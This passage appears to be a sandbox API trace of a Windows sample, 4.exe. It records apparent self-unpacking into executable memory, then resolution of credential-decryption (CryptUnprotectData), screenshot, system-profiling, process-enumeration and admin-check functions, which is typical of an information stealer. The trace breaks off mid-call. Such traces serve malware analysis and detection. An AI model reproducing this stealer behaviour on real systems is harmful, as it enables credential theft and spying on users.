(in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.432] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.432] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.432] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.432] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.432] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.432] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.432] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0055.767] lstrlenA (lpString="") returned 0 [0055.886] LocalAlloc (uFlags=0x0, uBytes=0x1adc0) returned 0x4ef3fd0 [0055.895] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.900] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.900] VirtualProtect (in: lpAddress=0x4f0ed98, dwSize=0x14250, flNewProtect=0x40, lpflOldProtect=0x18ad54 | out: lpflOldProtect=0x18ad54*=0x4) returned 1 [0056.063] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.063] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0056.063] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0056.063] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0056.063] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0056.063] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0056.064] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0056.064] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0056.064] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58 [0056.067] Module32First (hSnapshot=0x58, lpme=0x18aa54) returned 1 [0056.067] VirtualAlloc (lpAddress=0x0, dwSize=0x1ce50, flAllocationType=0x1000, flProtect=0x40) returned 0x210000 [0056.072] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0056.072] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.072] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0056.072] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0056.072] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0056.072] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0056.072] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0056.072] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0056.072] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0056.072] SetErrorMode (uMode=0x400) returned 0x0 [0056.072] SetErrorMode (uMode=0x0) returned 0x400 [0056.073] GetVersionExA (in: lpVersionInformation=0x189984*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x189984*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.073] VirtualAlloc (lpAddress=0x0, dwSize=0x1c000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c0000 [0056.075] VirtualProtect (in: lpAddress=0x400000, dwSize=0x20000, flNewProtect=0x40, lpflOldProtect=0x18aa0c | out: lpflOldProtect=0x18aa0c*=0x2) returned 1 [0056.101] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.102] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSection") returned 0x77162c42 [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0056.102] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetThreadLocale") returned 0x76c335cf [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoA") returned 0x76c30e00 [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0056.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0056.103] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0056.103] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardType") returned 0x74f99ac4 [0056.104] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0056.104] GetProcAddress (hModule=0x74f40000, lpProcName="CharNextA") returned 0x74f57a1b [0056.104] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0056.104] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExA") returned 0x74d548ef [0056.104] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0056.104] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0056.104] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75220000 [0056.158] GetProcAddress (hModule=0x75220000, lpProcName="SysFreeString") returned 0x75223e59 [0056.158] GetProcAddress (hModule=0x75220000, lpProcName="SysReAllocStringLen") returned 0x75227810 [0056.158] GetProcAddress (hModule=0x75220000, lpProcName="SysAllocStringLen") returned 0x752245d2 [0056.158] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.158] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0056.158] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0056.158] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0056.158] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyA") returned 0x74d6a299 [0056.158] GetProcAddress (hModule=0x74d40000, lpProcName="FreeSid") returned 0x74d5412e [0056.158] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.158] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0056.158] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0056.158] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0056.158] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalUnlock") returned 0x76c4cfdf [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalLock") returned 0x76c4d0a7 [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemInfo") returned 0x76c349ca [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0056.159] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0056.160] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0056.160] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ad0000 [0056.160] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0056.160] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0056.160] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteDC") returned 0x75ae58b3 [0056.160] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleDC") returned 0x75ae54f4 [0056.160] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleBitmap") returned 0x75ae5f49 [0056.160] GetProcAddress (hModule=0x75ad0000, lpProcName="BitBlt") returned 0x75ae5ea6 [0056.160] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0056.160] GetProcAddress (hModule=0x74f40000, lpProcName="ReleaseDC") returned 0x74f57446 [0056.160] GetProcAddress (hModule=0x74f40000, lpProcName="GetSystemMetrics") returned 0x74f57d2f [0056.160] GetProcAddress (hModule=0x74f40000, lpProcName="GetDC") returned 0x74f572c4 [0056.160] GetProcAddress (hModule=0x74f40000, lpProcName="CharToOemBuffA") returned 0x74f6b1b0 [0056.161] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0056.161] GetProcAddress (hModule=0x755e0000, lpProcName="OleInitialize") returned 0x755fefd7 [0056.161] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0056.161] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0056.177] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0056.177] atexit (param_1=0x210920) returned 0 [0056.177] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0056.177] GetKeyboardType (nTypeFlag=0) returned 4 [0056.177] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe\" " [0056.177] GetStartupInfoA (in: lpStartupInfo=0x18a9a0 | out: lpStartupInfo=0x18a9a0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0056.177] GetVersion () returned 0x1db10106 [0056.177] GetVersion () returned 0x1db10106 [0056.177] GetCurrentThreadId () returned 0xaec [0056.177] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x759b0000 [0056.181] GetProcAddress (hModule=0x759b0000, lpProcName="CryptUnprotectData") returned 0x759e5a7f [0056.181] LoadLibraryA (lpLibFileName="crtdll.dll") returned 0x6c240000 [0056.196] GetProcAddress (hModule=0x6c240000, lpProcName="wcscmp") returned 0x6c25032a [0056.196] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.926] GetProcAddress (hModule=0x73e00000, lpProcName="GdiplusStartup") returned 0x73e25600 [0056.926] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.926] GetProcAddress (hModule=0x73e00000, lpProcName="GdiplusShutdown") returned 0x73e256be [0056.926] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.926] GetProcAddress (hModule=0x73e00000, lpProcName="GdipCreateBitmapFromHBITMAP") returned 0x73e36671 [0056.927] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.927] GetProcAddress (hModule=0x73e00000, lpProcName="GdipGetImageEncodersSize") returned 0x73e42203 [0056.927] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.927] GetProcAddress (hModule=0x73e00000, lpProcName="GdipGetImageEncoders") returned 0x73e4228c [0056.927] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.927] GetProcAddress (hModule=0x73e00000, lpProcName="GdipDisposeImage") returned 0x73e34cc8 [0056.927] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.927] GetProcAddress (hModule=0x73e00000, lpProcName="GdipSaveImageToStream") returned 0x73e34153 [0056.927] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0056.927] GetProcAddress (hModule=0x755e0000, lpProcName="CreateStreamOnHGlobal") returned 0x7560363b [0056.927] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0056.927] GetProcAddress (hModule=0x755e0000, lpProcName="GetHGlobalFromStream") returned 0x756041d5 [0056.927] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatus") returned 0x76c38b6d [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentDirectoryW") returned 0x76c35611 [0056.928] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableW") returned 0x76c389f1 [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableW") returned 0x76c31b48 [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="SetCurrentDirectoryW") returned 0x76c41260 [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatusEx") returned 0x76c5d4c4 [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0056.929] GetProcAddress (hModule=0x76c20000, lpProcName="SetDllDirectoryW") returned 0x76cb004f [0056.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0056.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocalTime") returned 0x76c35aa6 [0056.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0056.930] GetProcAddress (hModule=0x76c20000, lpProcName="RemoveDirectoryW") returned 0x76cb44cf [0056.930] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0056.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDriveStringsA") returned 0x76c3e4dc [0056.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0056.930] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0056.930] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0056.930] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0056.930] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0056.930] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0056.930] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0056.931] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0056.931] GetProcAddress (hModule=0x74d40000, lpProcName="AllocateAndInitializeSid") returned 0x74d540e6 [0056.931] GetProcAddress (hModule=0x74d40000, lpProcName="LookupAccountSidA") returned 0x74d81daa [0056.931] GetProcAddress (hModule=0x74d40000, lpProcName="CreateProcessAsUserW") returned 0x74d4c592 [0056.931] GetProcAddress (hModule=0x74d40000, lpProcName="CheckTokenMembership") returned 0x74d4df04 [0056.931] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyW") returned 0x74d52459 [0056.931] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyW") returned 0x74d5445b [0056.933] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumValueW") returned 0x74d548cc [0056.933] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextA") returned 0x74d491dd [0056.933] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0056.933] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0056.933] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0056.933] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0056.933] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0056.933] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0056.933] GetProcAddress (hModule=0x74f40000, lpProcName="EnumDisplayDevicesW") returned 0x74f7e567 [0056.933] GetProcAddress (hModule=0x74f40000, lpProcName="wvsprintfA") returned 0x74f6aad3 [0056.933] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardLayoutList") returned 0x74f62e69 [0056.933] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75fd0000 [0056.937] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0056.937] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0056.937] GetProcAddress (hModule=0x77130000, lpProcName="RtlComputeCrc32") returned 0x771effc1 [0056.937] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x4f36028 [0056.938] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x6b00000 [0056.938] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x4f37028 [0056.938] VirtualAlloc (lpAddress=0x6b00000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x6b00000 [0056.938] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18a75d, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x222, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18a758 | out: pSid=0x18a758*=0x4f34508*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0056.938] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x4f34508*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18a754 | out: IsMember=0x18a754) returned 1 [0056.938] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18a75d, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x221, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18a758 | out: pSid=0x18a758*=0x4f34508*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0056.938] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x4f34508*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, 